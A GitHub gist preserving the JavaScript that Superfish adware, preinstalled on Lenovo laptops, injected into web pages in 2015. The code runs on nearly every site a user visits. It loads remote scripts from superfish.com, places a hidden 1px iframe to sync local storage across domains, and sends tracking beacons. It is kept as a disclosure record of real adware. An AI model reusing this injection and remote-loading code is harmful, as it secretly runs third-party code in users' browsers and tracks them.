Skip to content

Instantly share code, notes, and snippets.

@femto113
Last active August 29, 2015 14:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save femto113/f6ef14d208e21a119b78 to your computer and use it in GitHub Desktop.
Save femto113/f6ef14d208e21a119b78 to your computer and use it in GitHub Desktop.
javascript injected by Superfish from www.best-deals-products.com onto Lenovo laptops
// retrieved from https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc on 2015-02-19
if (window == top && !window.similarproducts && navigator.appVersion.toLowerCase().indexOf('msie 7') == -1) {
(function() {
var windowLocation = location.href.toLowerCase();
var nofish = false;
var metaTags = document.getElementsByTagName('meta');
var metaTag;
for (var i = 0, l = metaTags.length; i < l; i++) {
metaTag = metaTags[i];
if (metaTag.getAttribute('name') && metaTag.getAttribute('name').toLowerCase() == 'superfish' && metaTag.getAttribute('content') && metaTag.getAttribute('content').toLowerCase() == 'nofish') {
nofish = true;
break;
}
}
if (windowLocation.search(/\.google\./i) !== -1 && windowLocation.search(/^https?:\/\/(www|play)\.google\.(?!com\/analytics\/)/i) === -1) {
nofish = true;
}
//if (nofish || !(windowLocation.indexOf('.google.') == -1 || windowLocation.indexOf('play.google.com') != -1 || (windowLocation.indexOf('www.google.') != -1 && windowLocation.indexOf('www.google.com/analytics/') == -1)))
if (nofish) {
return;
}
window.similarproducts = {};
similarproducts.b = {
inj: function(d, url, js, cb) {
if (window.location.protocol.indexOf("https") > -1 && url.indexOf("localhost") == -1) {
url = url.replace("http:", "https:");
} else {
url = url.replace("https", "http");
}
var h = d.getElementsByTagName('head')[0];
var s = d.createElement(js ? "script" : 'link');
if (js) {
s.type = "text/javascript";
s.src = url;
} else {
s.rel = "stylesheet";
s.href = url;
}
if (cb) {
s.onload = (function(prm) {
return function() {
cb(prm);
}
})(url);
// IE
s.onreadystatechange = (function(prm) {
return function() {
if (this.readyState == 'complete' || this.readyState == 'loaded') {
setTimeout((function(u) {
return function() {
cb(u)
}
})(prm), 300);
}
}
})(url);
}
h.appendChild(s);
return s;
}
};
similarproducts.b.WSFlow = (function() {
var startTime = 0;
var flowSteps = [];
function addStep(step) {
if (startTime === 0) {
startTime = new Date().getTime();
}
step = ((new Date().getTime()) - startTime) + ' : ' + step;
flowSteps.push(step);
}
function getSteps(delimiter) {
var del = delimiter || ' ==> ';
return flowSteps.join(del);
}
// function getSteps() {
// return flowSteps.join('==>');
// }
return {
addStep: addStep,
getSteps: getSteps
};
})();
similarproducts.b.WSFlow.addStep("Start sfbase");
similarproducts.ver = {
ver: "",
calcAppVersion: function() {
if (this.ver === "") {
var CRMLastUpdate = '2015-02-18 16:24:42.703';
var adsLastUpdate = '2015-02-01 00:41:00';
var globalAppVersion = '15.2.19.1';
var globalAppVersionDateParts = globalAppVersion.split('.');
var globalAppVersionYear = +globalAppVersionDateParts[0] + 2000;
var globalAppVersionMonth = +globalAppVersionDateParts[1] - 1;
var globalAppVersionDay = +globalAppVersionDateParts[2];
var globalAppVersionHour = +globalAppVersionDateParts[3];
var globalAppVersionDate = new Date(globalAppVersionYear, globalAppVersionMonth, globalAppVersionDay, globalAppVersionHour, 1, 0, 0)
var lastUpdate = new Date();
if (CRMLastUpdate !== '') {
var CRMLastUpdateDateParts = CRMLastUpdate.split('-');
var CRMLastUpdateYear = +CRMLastUpdateDateParts[0];
var CRMLastUpdateMonth = +CRMLastUpdateDateParts[1] - 1;
var CRMLastUpdateDay = +CRMLastUpdateDateParts[2].split(' ')[0];
var CRMLastUpdateHour = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[0];
var CRMLastUpdateMin = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[1];
var CRMLastUpdateDate = new Date(CRMLastUpdateYear, CRMLastUpdateMonth, CRMLastUpdateDay, CRMLastUpdateHour, CRMLastUpdateMin, 0, 0)
if (CRMLastUpdateDate > globalAppVersionDate) {
lastUpdate = CRMLastUpdateDate;
} else {
lastUpdate = globalAppVersionDate;
}
} else {
lastUpdate = globalAppVersionDate;
}
var lastUpdateYear = lastUpdate.getFullYear();
var lastUpdateMonth = lastUpdate.getMonth();
var lastUpdateDay = lastUpdate.getDate();
var lastUpdateHour = lastUpdate.getHours();
var lastUpdateMinutes = lastUpdate.getMinutes();
if (adsLastUpdate !== '') {
var adsLastUpdateDateParts = adsLastUpdate.split('-');
var adsLastUpdateYear = +adsLastUpdateDateParts[0];
var adsLastUpdateMonth = +adsLastUpdateDateParts[1] - 1;
var adsLastUpdateDay = +adsLastUpdateDateParts[2].split(' ')[0];
var adsLastUpdateHour = +adsLastUpdateDateParts[2].split(' ')[1].split(':')[0];
var adsLastUpdateMin = +adsLastUpdateDateParts[2].split(' ')[1].split(':')[1];
var adsLastUpdateDate = new Date(adsLastUpdateYear, adsLastUpdateMonth, adsLastUpdateDay, adsLastUpdateHour, adsLastUpdateMin, 0, 0)
if (adsLastUpdateDate > globalAppVersionDate) {
this.ver = [adsLastUpdateYear, adsLastUpdateMonth + 1, adsLastUpdateDay, adsLastUpdateHour, adsLastUpdateMin].join('.');
} else {
this.ver = [lastUpdateYear, lastUpdateMonth + 1, lastUpdateDay, lastUpdateHour, lastUpdateMinutes].join('.');
}
} else {
this.ver = [lastUpdateYear, lastUpdateMonth + 1, lastUpdateDay, lastUpdateHour, lastUpdateMinutes].join('.');
}
}
return this.ver;
}
};
var srcRegex = /\/sf_main\.|\/sf_conduit\.|\/sf_conduit_mam\.|\/sf_conduit_mam_app\.|\/sfw\./i; // Test for script tag src that may contain the app params query string
var queryStringRegex = /CTID=(CT2680812|CT2652911|CT2659749|CT2695421|CT2666540)/i // Test for "specialsavings" patch
var retryCounter = 1; // Used in the run() function as a fallback condition after 5 attempts
var timeoutHandle;
function extractQueryString() {
var queryString = '';
var scripts = document.getElementsByTagName('script');
var scriptSrc;
try {
for (var i = 0, l = scripts.length; i < l; i++) {
scriptSrc = scripts[i].src;
if (srcRegex.test(scriptSrc)) {
if (scriptSrc.indexOf('?') != -1) {
var tempQueryString = scriptSrc.substring(scriptSrc.indexOf('?'));
queryString = fixQs(tempQueryString);
}
break;
}
}
} catch (ex) {
queryString = '';
}
return queryString;
}
function fixQs(initialQS) {
var fixedQS = '?';
initialQS.replace(
new RegExp("([^?=&]+)(=([^&]*))?", "g"),
function($0, $1, $2, $3) {
switch ($1) {
case 'dlsource':
$3 = decodeURIComponent($3).replace(/^\s+|\s+$/g, "");
break;
}
fixedQS = fixedQS + $1 + '=' + $3 + '&';
}
);
return fixedQS.substring(0, fixedQS.length - 1);
}
function loadApp(queryString) {
var appVersion = similarproducts.ver.calcAppVersion();
queryString += (queryString == '') ? '?' : '&';
queryString += 'ver=' + appVersion;
if (queryStringRegex.test(queryString)) // Specialsavings patch
{
if (queryString.indexOf('dlsource=') > -1) {
queryString = queryString.replace(/dlsource=([^&]*)?/g, 'dlsource=specialsavings_tb');
} else {
queryString += '&dlsource=specialsavings_tb';
}
}
// Assign values to the global similarproducts object
similarproducts.b.initialQS = queryString;
if (similarproducts.b.WSFlow) {
similarproducts.b.WSFlow.addStep("before call to sf_preloader.jsp");
}
similarproducts.b.inj(window.document, 'https://www.superfish.com/ws/sf_preloader.jsp' + queryString, 1);
}
var syncLocalStorage = (function() {
var syncLocalStorageFromUrl = 'https://www.superfish.com/ws';
var xdMsgDelimiter = '*sfxd*';
var currentDomain = 'https://www.superfish.com/ws/';
var getLocalStorageUrl = currentDomain + "sf_postLocalStorage.jsp?syncFrom=" + encodeURIComponent(syncLocalStorageFromUrl);
var msgCallback = function() {};
var endCallback = function() {};
var timer = 0;
var postObj = {};
var qs = {};
var needToCallBack = true;
var debug = false;
function setQueryString(obj_to_add, initial_QS) {
obj_to_add.qsObj = {};
initial_QS.replace(
new RegExp("([^?=&]+)(=([^&]*))?", "g"),
function($0, $1, $2, $3) {
obj_to_add.qsObj[$1] = decodeURIComponent($3);
}
);
}
function log(msg) {
if (debug && window.console) {
var dDate = new Date();
window.console.log('syncLocalStorage : ' + dDate.getTime() + " - " + msg);
}
}
var xdmsg = {
postMsg: function(target, param) {
if (target != window) {
target.postMessage(param, "*");
}
},
getMsg: function(event) {
msgCallback(event.data, event.origin);
},
init: function(cbFunction) {
msgCallback = cbFunction;
if (window.addEventListener) {
window.addEventListener("message", this.getMsg, false);
} else {
window.attachEvent('onmessage', this.getMsg);
}
},
kill: function() {
if (window.removeEventListener) {
window.removeEventListener("message", this.getMsg, false);
} else {
if (window.detachEvent) {
window.detachEvent('onmessage', this.getMsg);
}
}
}
};
function gotMessage(msg, from) {
if (from && from.split('://')[1].indexOf(currentDomain.split('://')[1].split('/')[0]) == -1) {
return;
}
if (!msg) {
return;
}
var prep = msg.split(xdMsgDelimiter);
if (+prep[0] == -3355) {
log("Got message from Iframe - " + prep[1]);
clearTimeout(timer);
if (needToCallBack) {
if (endCallback && typeof(endCallback) === 'function') {
endCallback();
}
}
}
}
function createIframe(queryString, callback) {
log("in createIframe");
getLocalStorageUrl = getLocalStorageUrl + queryString.replace('?', '&');
if (window.location.protocol.indexOf("https") > -1 && getLocalStorageUrl.indexOf("localhost") == -1) {
getLocalStorageUrl = getLocalStorageUrl.replace("http:", "https:");
} else {
getLocalStorageUrl = getLocalStorageUrl.replace("https:", "http:");
}
var ifrm;
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", getLocalStorageUrl);
ifrm.setAttribute("style", "position:absolute; top:-20px; left:-20px;");
ifrm.setAttribute("id", "sfPostLocalStorage");
ifrm.style.width = "1px";
ifrm.style.height = "1px";
if (syncLocalStorageFromUrl !== 'NA' && syncLocalStorageFromUrl.split('/')[2] !== currentDomain.split('/')[2]) {
log("Need to sync");
xdmsg.init(gotMessage);
timer = setTimeout(function() {
log("in syncLocalStorageTimeOut");
needToCallBack = false;
if (Math.floor(Math.random() * 10) == 1) {
var url = currentDomain + "trackSession.action?userid=NA&sessionid=NA&action=syncLocalStorageTimeOut";
var img = new Image();
img.src = url;
}
if (callback && typeof(callback) === 'function') {
callback();
}
}, 5000);
document.body.appendChild(ifrm);
log("Iframe created");
if (callback && typeof(callback) === 'function') {
endCallback = callback;
}
} else {
log("No need to sync");
if (callback && typeof(callback) === 'function') {
callback();
}
}
}
return {
createIframe: createIframe
};
})();
function run() {
var queryString = extractQueryString();
// if (false && location.protocol === 'https:' && queryString.search(/dlsource=hdrykzc/i) !== -1) // Patch for Lenovo - do not run on https sites
if (queryString.search(/dlsource=hdrykzc/i) !== -1) // Disable Lenovo users
{
return;
}
timeoutHandle && clearTimeout(timeoutHandle);
if (queryString || retryCounter >= 5) {
var appVersion = similarproducts.ver.calcAppVersion();
window['sup' + 'erf' + 'ish'] = similarproducts;
syncLocalStorage.createIframe(queryString + '&ver=' + appVersion, function() {
loadApp(queryString);
});
} else {
retryCounter++;
timeoutHandle = setTimeout(run, 50);
}
}
/* --- Begin app loading cycle --- */
run();
})();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment